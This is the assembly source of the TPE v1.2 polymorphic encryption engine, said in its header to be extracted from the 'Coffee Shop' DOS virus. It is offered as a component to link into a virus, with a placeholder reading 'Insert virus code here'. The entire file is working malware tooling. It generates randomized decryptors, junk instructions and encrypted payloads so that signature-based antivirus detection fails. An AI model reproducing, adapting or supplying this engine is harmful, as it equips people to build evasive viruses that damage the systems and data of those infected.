.radix 16 ;----------------------------------------------------------------------------- ; ; TPE v1.2 Source Code ; -------------------- ; ; Extracted from Coffee Shop virus by: Lucifer Messiah -- ANARKICK SYSTEMS ; ;----------------------------------------------------------------------------- .model tiny .code public rnd_init public rnd_get public crypt public tpe_bottom public tpe_top ;**************************************************************************** ;* Data area for engine ;**************************************************************************** org 0e0 TPE12: add_val dw 0 xor_val dw 0 xor_offset dw 0 where_len dw 0 where_len2 dw 0 flags db 0 ;**************************************************************************** ;* Begin of virus, installation in memory ;**************************************************************************** org 0100 ;**************************************************************************** ;* Insert virus code here, or compile and link to virus ;**************************************************************************** ;**************************************************************************** ;* ;* Encryption Engine ;* ;* ;* Input: ES work segment ;* DS:DX code to encrypt ;* BP what will be start of decryptor ;* SI what will be distance between decryptor and code ;* CX length of code ;* AX flags: bit 0: DS will not be equal to CS ;* bit 1: insert random instructions ;* bit 2: put junk before decryptor ;* bit 3: preserve AX with decryptor ;* ;* Output: ES: work segment (preserved) ;* DS:DX decryptor + encrypted code ;* BP what will be start of decryptor (preserved) ;* DI length of decryptor / offset of encrypted code ;* CX length of decryptor + encrypted code ;* AX length of encrypted code ;* (other registers may be trashed) ;* ;**************************************************************************** tpe_top equ $ db '[ MK / Trident ]' crypt: xor di,di ;di = start of decryptor push dx ;save offset of code push si ;save future offset of code mov byte ptr ds:[flags],al ;save flags test al,8 ;push AX? jz no_push mov al,50 stosb no_push: call rnd_get ;add a few bytes to cx and ax,1F add cx,ax push cx ;save length of code call rnd_get ;get random flags xchg ax,bx ;BX flags: ;0,1 how to encrypt ;2,3 which register for encryption ;4 use byte or word for encrypt ;5 MOV AL, MOV AH or MOV AX ;6 MOV CL, MOV CH or MOV CX ;7 AX or DX ;8 count up or down ;9 ADD/SUB/INC/DEC or CMPSW/SCASW ;A ADD/SUB or INC/DEC ; CMPSW or SCASW ;B offset in XOR instruction? ;C LOOPNZ or LOOP ; SUB CX or DEC CX ;D carry with crypt ADD/SUB ;E carry with inc ADD/SUB ;F XOR instruction value or AX/DX random: call rnd_get ;get random encryption value or al,al jz random ;again if 0 mov ds:[xor_val],ax call do_junk ;insert random instructions pop cx mov ax,0111 ;make flags to remember which test bl,20 ; MOV instructions are used jnz z0 xor al,07 z0: test bl,0C jnz z1 xor al,70 z1: test bl,40 jnz z2 xor ah,7 z2: test bl,10 jnz z3 and al,73 z3: test bh,80 jnz z4 and al,70 z4: mov dx,ax mov_lup: call rnd_get ;put MOV instructions in and ax,000F ; a random order cmp al,0A ja mov_lup mov si,ax push cx ;test if MOV already done xchg ax,cx mov ax,1 shl ax,cl mov cx,ax and cx,dx pop cx jz mov_lup xor dx,ax ;remember which MOV done push dx call do_mov ;insert MOV instruction call do_nop ;insert a random NOP pop dx or dx,dx ;all MOVs done? jnz mov_lup push di ;save start of decryptor loop call do_add_ax ;add a value to AX in loop? call do_nop test bh,20 ;carry with ADD/SUB ? jz no_clc mov al,0F8 stosb no_clc: mov word ptr ds:[xor_offset],0 call do_xor ;place all loop instructions call do_nop call do_add pop dx ;get start of decryptor loop call do_loop test byte ptr ds:[flags],8 ;insert POP AX ? jz no_pop mov al,58 stosb no_pop: xor ax,ax ;calculate loop offset test bh,1 ;up or down? jz v1 mov ax,cx dec ax test bl,10 ;encrypt with byte or word? jz v1 and al,0FE v1: add ax,di add ax,bp pop si add ax,si sub ax,word ptr ds:[xor_offset] mov si,word ptr ds:[where_len] test bl,0C ;are BL,BH used for encryption? jnz v2 mov byte ptr es:[si],al mov si,word ptr ds:[where_len2] mov byte ptr es:[si],ah jmp short v3 v2: mov word ptr es:[si],ax v3: mov dx,word ptr ds:[xor_val] ;encryption value pop si ;ds:si = start of code push di ;save ptr to encrypted code push cx ;save length of encrypted code test bl,10 ;byte or word? jz blup inc cx ;cx = # of crypts (words) shr cx,1 lup: lodsw ;encrypt code (words) call do_encrypt stosw loop lup jmp short klaar blup: lodsb ;encrypt code (bytes) xor dh,dh call do_encrypt stosb loop blup klaar: mov cx,di ;cx = length decryptpr + code pop ax ;ax = length of decrypted code pop di ;di = offset encrypted code xor dx,dx ;ds:dx = decryptor + cr. code push es pop ds ret ;**************************************************************************** ;* encrypt the code ;**************************************************************************** do_encrypt: add dx,word ptr ds:[add_val] test bl,2 jnz lup1 xor ax,dx ret lup1: test bl,1 jnz lup2 sub ax,dx ret lup2: add ax,dx ret ;**************************************************************************** ;* generate mov reg,xxxx ;**************************************************************************** do_mov: mov dx,si mov al,byte ptr ds:[si+mov_byte] cmp dl,4 ;BX? jne is_not_bx call add_ind is_not_bx: test dl,0C ;A*? pushf jnz is_not_a test bl,80 ;A* or D*? jz is_not_a add al,2 is_not_a: call alter ;insert the MOV popf ;A*? jnz is_not_a2 mov ax,word ptr ds:[xor_val] jmp short sss is_not_a2: test dl,8 ;B*? jnz is_not_b mov si,offset where_len test dl,2 jz is_not_bh add si,2 is_not_bh: mov word ptr ds:[si],di jmp short sss is_not_b: mov ax,cx ;C* test bl,10 ;byte or word encryption? jz sss inc ax ;only half the number of bytes shr ax,1 sss: test dl,3 ;byte or word register? jz is_x test dl,2 ;*H? jz is_not_h xchg al,ah is_not_h: stosb ret is_x: stosw ret ;**************************************************************************** ;* insert MOV or alternative for MOV ;**************************************************************************** alter: push bx push cx push ax call rnd_get xchg ax,bx pop ax test bl,3 ;use alternative for MOV? jz no_alter push ax and bx,0F and al,08 shl ax,1 or bx,ax pop ax and al,7 mov cl,9 xchg ax,cx mul cl add ax,30C0 xchg al,ah test bl,4 jz no_sub mov al,28 no_sub: call maybe_2 stosw mov al,80 call maybe_2 stosb mov ax,offset add_mode xchg ax,bx and ax,3 xlat add al,cl no_alter: stosb pop cx pop bx ret ;**************************************************************************** ;* insert ADD AX,xxxx ;**************************************************************************** do_add_ax: push cx mov si,offset add_val ;save add-value here mov word ptr ds:[si],0 mov ax,bx and ax,8110 xor ax,8010 jnz no_add_ax ;use ADD? mov ax,bx xor ah,ah mov cl,3 div cl or ah,ah jnz no_add_ax ;use ADD? test bl,80 jnz do_81C2 ;AX or DX? mov al,5 stosb jmp short do_add0 do_81C2: mov ax,0C281 stosw do_add0: call rnd_get mov word ptr ds:[si],ax stosw no_add_ax: pop cx ret ;**************************************************************************** ;* generate encryption command ;**************************************************************************** do_xor: test byte ptr ds:[flags],1 jz no_cs mov al,2E ;insert CS: instruction stosb no_cs: test bh,80 ;type of XOR command jz xor1 call get_xor ;encrypt with register call do_carry call save_it xor ax,ax test bl,80 jz xxxx add al,10 xxxx: call add_dir test bh,8 jnz yyyy stosb ret yyyy: or al,80 stosb call rnd_get stosw mov word ptr ds:[xor_offset],ax ret xor1: mov al,080 ;encrypt with value call save_it call get_xor call do_carry call xxxx mov ax,word ptr ds:[xor_val] test bl,10 jmp byte_word ;**************************************************************************** ;* generate increase/decrease command ;**************************************************************************** do_add: test bl,8 ;no CMPSW/SCASW if BX is used jz da0 test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW jnz do_cmpsw da0: test bh,4 ;ADD/SUB or INC/DEC? jz add1 mov al,40 ;INC/DEC test bh,1 ;up or down? jz add0 add al,8 add0: call add_ind stosb test bl,10 ;byte or word? jz return stosb ;same instruction again return: ret add1: test bh,40 ;ADD/SUB jz no_clc2 ;carry? mov al,0F8 ;insert CLC stosb no_clc2: mov al,083 stosb mov al,0C0 test bh,1 ;up or down? jz add2 mov al,0E8 add2: test bh,40 ;carry? jz no_ac2 and al,0CF or al,10 no_ac2: call add_ind stosb mov al,1 ;value to add/sub save_it: call add_1 stosb ret do_cmpsw: test bh,1 ;up or down? jz no_std mov al,0FDh ;insert STD stosb no_std: test bh,4 ;CMPSW or SCASW? jz normal_cmpsw test bl,4 ;no SCASW if SI is used jnz do_scasw normal_cmpsw: mov al,0A6 ;CMPSB jmp short save_it do_scasw: mov al,0AE ;SCASB jmp short save_it ;**************************************************************************** ;* generate loop command ;**************************************************************************** do_loop: test bh,1 ;no JNE if couting down jnz loop_loop ; (prefetch bug!) call rnd_get test al,1 ;LOOPNZ/LOOP or JNE? jnz cx_loop loop_loop: mov al,0E0 test bh,1A ;LOOPNZ or LOOP? jz ll0 ; no LOOPNZ if xor-offset add al,2 ; no LOOPNZ if CMPSW/SCASW ll0: stosb mov ax,dx sub ax,di dec ax stosb ret cx_loop: test bh,10 ;SUB CX or DEC CX? jnz cxl_dec mov ax,0E983 stosw mov al,1 stosb jmp short do_jne cxl_dec: mov al,49 stosb do_jne: mov al,75 jmp short ll0 ;**************************************************************************** ;* add value to AL depending on register type ;**************************************************************************** add_dir: mov si,offset dir_change jmp short xx1 add_ind: mov si,offset ind_change xx1: push bx shr bl,1 shr bl,1 and bx,3 add al,byte ptr ds:[bx+si] pop bx ret ;**************************************************************************** ;* mov encryption command byte to AL ;**************************************************************************** get_xor: push bx mov ax,offset how_mode xchg ax,bx and ax,3 xlat pop bx ret ;**************************************************************************** ;* change ADD into ADC ;**************************************************************************** do_carry: test bl,2 ;ADD/SUB used for encryption? jz no_ac test bh,20 ;carry with (encr.) ADD/SUB? jz no_ac and al,0CF or al,10 no_ac: ret ;**************************************************************************** ;* change AL (byte/word) ;**************************************************************************** add_1: test bl,10 jz add_1_ret inc al add_1_ret: ret ;**************************************************************************** ;* change AL (byte/word) ;**************************************************************************** maybe_2: call add_1 cmp al,81 ;can't touch this je maybe_not push ax call rnd_get test al,1 pop ax jz maybe_not add al,2 maybe_not: ret ;**************************************************************************** ;* get random nop (or not) ;**************************************************************************** do_nop: test byte ptr ds:[flags],2 jz no_nop yes_nop: call rnd_get test al,3 jz nop8 test al,2 jz nop16 test al,1 jz nop16x no_nop: ret ;**************************************************************************** ;* Insert random instructions ;**************************************************************************** do_junk: test byte ptr ds:[flags],4 jz no_junk call rnd_get ;put a random number of and ax,0F ; dummy instructions before inc ax ; decryptor xchg ax,cx junk_loop: call junk loop junk_loop no_junk: ret ;**************************************************************************** ;* get rough random nop (may affect register values) ;**************************************************************************** junk: call rnd_get and ax,1E jmp short aa0 nop16x: call rnd_get and ax,06 aa0: xchg ax,si call rnd_get jmp word ptr ds:[si+junkcals] ;**************************************************************************** ;* NOP and junk addresses ;**************************************************************************** junkcals dw offset nop16x0 dw offset nop16x1 dw offset nop16x2 dw offset nop16x3 dw offset nop8 dw offset nop16 dw offset junk6 dw offset junk7 dw offset junk8 dw offset junk9 dw offset junkA dw offset junkB dw offset junkC dw offset junkD dw offset junkE dw offset junkF ;**************************************************************************** ;* NOP and junk routines ;**************************************************************************** nop16x0: and ax,000F ;J* 0000 (conditional) or al,70 stosw ret nop16x1: mov al,0EBh ;JMP xxxx / junk and ah,07 inc ah stosw xchg al,ah ;get lenght of bullshit cbw jmp fill_bullshit nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg stosb ret nop16x3: call junkF ;INC / DEC or DEC / INC xor al,8 stosb ret nop8: push bx ;8-bit NOP and al,7 mov bx,offset nop_data8 xlat stosb pop bx ret nop16: push bx ;16-bit NOP and ax,0303 mov bx,offset nop_data16 xlat add al,ah stosb call rnd_get and al,7 mov bl,9 mul bl add al,0C0 stosb pop bx ret junk6: push cx ;CALL xxxx / junk / POP reg mov al,0E8 and ah,0F inc ah stosw xor al,al stosb xchg al,ah call fill_bullshit call do_nop call rnd_get ;insert POP reg and al,7 call no_sp mov cx,ax or al,58 stosb test ch,3 ;more? jnz junk6_ret call do_nop mov ax,0F087 ;insert XCHG SI,reg or ah,cl test ch,8 jz j6_1 mov al,8Bh j6_1: stosw call do_nop push bx call rnd_get xchg ax,bx and bx,0F7FBh ;insert XOR [SI],xxxx or bl,8 call do_xor pop bx junk6_ret: pop cx ret junk7: and al,0F ;MOV reg,xxxx or al,0B0 call no_sp stosb test al,8 pushf call rnd_get popf jmp short byte_word junk8: and ah,39 ;DO r/m,r(8/16) or al,0C0 call no_sp xchg al,ah stosw ret junk9: and al,3Bh ;DO r(8/16),r/m or al,2 and ah,3F call no_sp2 call no_bp stosw ret junkA: and ah,1 ;DO rm,xxxx or ax,80C0 call no_sp xchg al,ah stosw test al,1 pushf call rnd_get popf jmp short byte_word junkB: call nop8 ;NOP / LOOP mov ax,0FDE2 stosw ret junkC: and al,09 ;CMPS* or SCAS* test ah,1 jz mov_test or al,0A6 stosb ret mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx stosb cmp al,0A8 pushf call rnd_get popf jmp short byte_word junkD: and al,07 ;XCHG AX,reg or al,90 call no_sp stosb ret junkE: and ah,07 ;PUSH reg / POP reg or ah,50 mov al,ah or ah,08 stosw ret junkF: and al,0F ;INC / DEC or al,40 call no_sp stosb ret ;**************************************************************************** ;* store a byte or a word ;**************************************************************************** byte_word: jz only_byte stosw ret only_byte: stosb ret ;**************************************************************************** ;* don't fuck with SP! ;**************************************************************************** no_sp: push ax and al,7 cmp al,4 pop ax jnz no_sp_ret and al,0FBh no_sp_ret: ret ;**************************************************************************** ;* don't fuck with SP! ;**************************************************************************** no_sp2: push ax and ah,38 cmp ah,20 pop ax jnz no_sp2_ret xor ah,20 no_sp2_ret: ret ;**************************************************************************** ;* don't use [BP+..] ;**************************************************************************** no_bp: test ah,4 jnz no_bp2 and ah,0FDh ret no_bp2: push ax and ah,7 cmp ah,6 pop ax jnz no_bp_ret or ah,1 no_bp_ret: ret ;**************************************************************************** ;* write byte for JMP/CALL and fill with random bullshit ;**************************************************************************** fill_bullshit: push cx xchg ax,cx bull_lup: call rnd_get stosb loop bull_lup pop cx ret ;**************************************************************************** ;* random number generator (stolen from 'Bomber') ;**************************************************************************** rnd_init: push cx call rnd_init0 ;init and ax,000F inc ax xchg ax,cx random_lup: call rnd_get ;call random routine a few loop random_lup ; times to 'warm up' pop cx ret rnd_init0: push dx ;initialize generator push cx mov ah,2C int 21 in al,40 mov ah,al in al,40 xor ax,cx xor dx,ax jmp short move_rnd rnd_get: push dx ;calculate a random number push cx push bx mov ax,0 ;will be: mov ax,xxxx mov dx,0 ; and mov dx,xxxx mov cx,7 rnd_lup: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_l2 inc al rnd_l2: loop rnd_lup pop bx move_rnd: mov word ptr ds:[rnd_get+4],ax mov word ptr ds:[rnd_get+7],dx mov al,dl pop cx pop dx ret ;**************************************************************************** ;* tables for engine ;**************************************************************************** ; AX AL AH (BX) BL BH CX CL CH mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 ; nop clc stc cmc cli cld incbp decbp nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh ; or and xchg mov nop_data16 db 8, 20, 84, 88 ; bl/bh, bx, si di dir_change db 07, 07, 04, 05 ind_change db 03, 03, 06, 07 ; xor xor add sub how_mode db 30, 30, 00, 28 ; ? add xor or add_mode db 0, 0C8, 0F0, 0C0 tpe_bottom equ $ end TPE12